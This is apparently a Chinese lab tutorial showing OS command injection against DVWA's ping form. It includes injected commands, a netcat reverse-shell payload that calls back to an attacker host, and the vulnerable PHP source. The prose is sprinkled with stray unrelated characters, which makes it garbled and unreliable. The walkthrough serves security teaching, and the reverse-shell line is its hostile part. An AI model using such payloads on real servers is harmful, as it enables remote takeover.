02 漏洞利用:OS 命令劫持

前文中晌杰,PHP的 system( ) 方法可以在服務(wù)器上執(zhí)行操作系統(tǒng)命令缀遍,開發(fā)者有時(shí)候也會用同樣的方法,實(shí)現(xiàn)一些特殊的功能,如Ping功能服務(wù)阅仔,在Web頁面吹散,用戶可能通過添加非法輸入,就可以在服務(wù)器執(zhí)行附加惡意系統(tǒng)命令

下面八酒,演示如何利用命令注入漏洞獲取服務(wù)器的敏感信息

實(shí)踐

  1. 登陸到 Damn Vulnerable Web Application (DVWA)空民,調(diào)整安全級別為low,然后跳轉(zhuǎn)到頁面 Command Execution

  2. 如圖羞迷,表單 Ping for FREE 界轩,輸入192.168.150.148 ( Kali 測試機(jī)的IP地址)

    Command Execution

    輸出看起來就像是我們直接在服務(wù)器上執(zhí)行 Ping 命令一樣,因此衔瓮,這里我們判斷為一個 OS 命令注入點(diǎn)

  3. 我們嘗試著注入一個簡單的系統(tǒng)命令浊猾,提交如下內(nèi)容:

192.168.150.148;uname -a
系統(tǒng)命令注入

如圖,uname命令的執(zhí)行結(jié)果輸出打掃ping命令的結(jié)果之后了报辱。這就是一個命令劫持漏洞与殃。

  1. 也可以試試不加IP地址,直接輸入如下內(nèi)容:
;uname -a
Paste_Image.png
  1. 然后碍现,我們來獲取一個服務(wù)器的reverse shell幅疼;首先,我們要確定服務(wù)器上有我們需要的軟件環(huán)境昼接,提交如下語句:
ls /bin/nc*
查看環(huán)境

這里我們查到了不同版本的 NetCat(OpenBSD 版本的 nc 不支持在連接中執(zhí)行命令爽篷,因此我們使用traditional版本),下面使用這個工具來連接靶機(jī)到攻擊機(jī)上

  1. 在Kali攻擊機(jī)上啟用一個nc連接監(jiān)聽端口:
nc -lp 1691 -v
  1. 回到瀏覽器慢睡,輸入以下命令逐工,提交:
;nc.traditional -e /bin/bash 192.168.56.1 1691 &
Paste_Image.png

Kail終端會受到連接請求,并建立連接漂辐,現(xiàn)在泪喊,就可以隨意在服務(wù)器上執(zhí)行命令并獲取輸出了

總結(jié)

類似 SQL 注入漏洞,命令注入漏洞也是因?yàn)闆]有對輸入?yún)?shù)進(jìn)行充分的校驗(yàn)造成的髓涯。如果查看袒啼,我們剛剛攻擊頁面的后臺源碼(DVWA頁面右下角有個按鈕),我們會看到如下內(nèi)容:

<?php  
if( isset( $_POST[ 'submit' ] ) ) {
      $target = $_REQUEST[ 'ip' ];      
      // Determine OS and execute the ping command.     
      if (stristr(php_uname('s'), 'Windows NT')) {               
          $cmd = shell_exec( 'ping  ' . $target );         
          echo '<pre>'.$cmd.'</pre>';              
      } else {               
          $cmd = shell_exec( 'ping  -c 3 ' . $target );         
          echo '<pre>'.$cmd.'</pre>';         
      }     
} 
?>

我們看到纬纪,它直接拼接用戶輸入到 ping 命令中蚓再,我們所做的只是加了個分號,這樣shell解釋器就把分號前后兩條命令順序解釋執(zhí)行了包各,分后后面的摘仅,就是我們真實(shí)想要執(zhí)行的代碼

成功執(zhí)行命令后,下一步檢查服務(wù)器上是否有 NetCat问畅,這個工具可以幫助我們給兩臺機(jī)器建立連接娃属,前面我們發(fā)現(xiàn)六荒,服務(wù)器又兩個不同版本的 NetCat ,這里執(zhí)行支持建立連接的那個

當(dāng)設(shè)置Kali攻擊機(jī)監(jiān)聽 TCP 的 1691 端口(可以是任意端口)后膳犹,我們在靶機(jī)服務(wù)器執(zhí)行命令恬吕,用于跟Kali機(jī)器建立連接并執(zhí)行 /bin/bash签则,如此就可以在靶機(jī)服務(wù)器輸入任意命令了

在命令后添加符號“ & ”可以在后臺執(zhí)行命令须床,因?yàn)椋琍HP腳本會一直等一條命令的響應(yīng)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末渐裂,一起剝皮案震驚了整個濱河市豺旬,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌柒凉,老刑警劉巖族阅,帶你破解...
    沈念sama閱讀 207,248評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異膝捞,居然都是意外死亡坦刀,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,681評論 2 381
  • 文/潘曉璐 我一進(jìn)店門蔬咬,熙熙樓的掌柜王于貴愁眉苦臉地迎上來鲤遥,“玉大人,你說我怎么就攤上這事林艘「悄危” “怎么了?”我有些...
    開封第一講書人閱讀 153,443評論 0 344
  • 文/不壞的土叔 我叫張陵狐援,是天一觀的道長钢坦。 經(jīng)常有香客問我,道長啥酱,這世上最難降的妖魔是什么爹凹? 我笑而不...
    開封第一講書人閱讀 55,475評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮镶殷,結(jié)果婚禮上禾酱,老公的妹妹穿的比我還像新娘。我一直安慰自己批钠,他們只是感情好宇植,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,458評論 5 374
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著埋心,像睡著了一般指郁。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上拷呆,一...
    開封第一講書人閱讀 49,185評論 1 284
  • 那天闲坎,我揣著相機(jī)與錄音疫粥,去河邊找鬼。 笑死腰懂,一個胖子當(dāng)著我的面吹牛梗逮,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播绣溜,決...
    沈念sama閱讀 38,451評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼慷彤,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了怖喻?” 一聲冷哼從身側(cè)響起底哗,我...
    開封第一講書人閱讀 37,112評論 0 261
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎锚沸,沒想到半個月后跋选,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,609評論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡哗蜈,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,083評論 2 325
  • 正文 我和宋清朗相戀三年前标,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片距潘。...
    茶點(diǎn)故事閱讀 38,163評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡炼列,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出绽昼,到底是詐尸還是另有隱情唯鸭,我是刑警寧澤,帶...
    沈念sama閱讀 33,803評論 4 323
  • 正文 年R本政府宣布硅确,位于F島的核電站目溉,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏菱农。R本人自食惡果不足惜缭付,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,357評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望循未。 院中可真熱鬧陷猫,春花似錦、人聲如沸的妖。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,357評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽嫂粟。三九已至娇未,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間星虹,已是汗流浹背零抬。 一陣腳步聲響...
    開封第一講書人閱讀 31,590評論 1 261
  • 我被黑心中介騙來泰國打工镊讼, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人平夜。 一個月前我還...
    沈念sama閱讀 45,636評論 2 355
  • 正文 我出身青樓蝶棋,卻偏偏與公主長得像,于是被迫代替她去往敵國和親忽妒。 傳聞我的和親對象是個殘疾皇子玩裙,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,925評論 2 344

推薦閱讀更多精彩內(nèi)容